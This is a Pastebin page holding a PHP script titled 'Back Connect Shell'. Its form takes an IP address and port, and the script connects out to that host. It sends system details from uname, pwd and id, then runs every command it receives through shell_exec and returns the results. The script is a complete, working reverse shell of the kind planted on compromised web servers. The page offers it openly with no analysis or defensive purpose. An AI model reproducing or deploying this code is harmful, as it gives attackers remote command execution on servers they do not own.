Advertisement
parkdream1

back2.php

Mar 2nd, 2012
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.03 KB | None | 0 0
  1. <?php
  2.  
  3. /*********************
  4.  
  5. @@author : lionaneesh
  6. @@facebook : facebook.com/lionaneesh
  7. @@Email : lionaneesh@gmail.com
  8.  
  9. ********************/
  10.  
  11.  
  12. ini_set('max_execution_time',0);
  13.  
  14. ?>
  15.  
  16. <html>
  17. <head>
  18.     <title>Back Connect Shell -- PHP</title>
  19. </head>
  20.  
  21. <body>
  22.  
  23. <h1>Welcome to Back Connect Control Panel </h1>
  24.  
  25. <p> Fill in the form Below to Start the Back Connect Service </p>
  26.  
  27. <?php
  28. if( isset($_GET['port']) &&
  29.     isset($_GET['ip']) &&
  30.     $_GET['port'] != "" &&
  31.     $_GET['ip'] != ""
  32.     )
  33.     {
  34.         echo "<p>The Program is now trying to connect!</p>";
  35.         $ip = $_GET['ip'];
  36.         $port=$_GET['port'];
  37.         $sockfd=fsockopen($ip , $port , $errno, $errstr );
  38.         if($errno != 0)
  39.         {
  40.             echo "<font color='red'><b>$errno</b> : $errstr</font>";
  41.         }
  42.         else if (!$sockfd)
  43.         {
  44.                $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  45.         }
  46.         else
  47.         {
  48.             fputs ($sockfd ,
  49.             "\n=================================================================\n
  50.            Back Connect in PHP\n
  51.            Coded by lionaneesh\n
  52.            @@author : lionaneesh
  53.            @@facebook : facebook.com/lionaneesh
  54.            @@Email : lionaneesh@gmail.com
  55.            \n=================================================================");
  56.          $pwd = shell_exec("pwd");
  57.          $sysinfo = shell_exec("uname -a");
  58.          $id = shell_exec("id");
  59.          $dateAndTime = shell_exec("time /t & date /T");
  60.          $len = 1337;
  61.          fputs($sockfd ,$sysinfo . "\n" );
  62.          fputs($sockfd ,$pwd . "\n" );
  63.          fputs($sockfd ,$id ."\n\n" );
  64.          fputs($sockfd ,$dateAndTime."\n\n" );
  65.          while(!feof($sockfd))
  66.          {  
  67.             $cmdPrompt ="(Shell)[$]> ";
  68.             fputs ($sockfd , $cmdPrompt );
  69.             $command= fgets($sockfd, $len);
  70.             fputs($sockfd , "\n" . shell_exec($command) . "\n\n");
  71.          }
  72.          fclose($sockfd);
  73.         }
  74.     }
  75.     else
  76.     {
  77.     ?>
  78.     <table align="center" >
  79.          <form method="GET">
  80.          <td>
  81.             <table style="border-spacing: 6px;">
  82.                 <tr>
  83.                     <td>Port</td>
  84.                     <td>
  85.                         <input style="width: 200px;" name="port" value="31337" />
  86.                     </td>
  87.                 </tr>
  88.                 <tr>
  89.                     <td>IP </td>
  90.                     <td><input style="width: 100px;" name="ip" size='5' value="127.0.0.1"/>
  91.                 </tr>
  92.                 <tr>
  93.                 <td>
  94.                 <input style="width: 90px;" class="own" type="submit" value="Connect back :D!"/>
  95.                 </td>
  96.                 </tr>    
  97.                    
  98.             </table>
  99.          </td>
  100.          </form>
  101.     </tr>
  102.     </table>
  103.     <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  104. <?php
  105.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement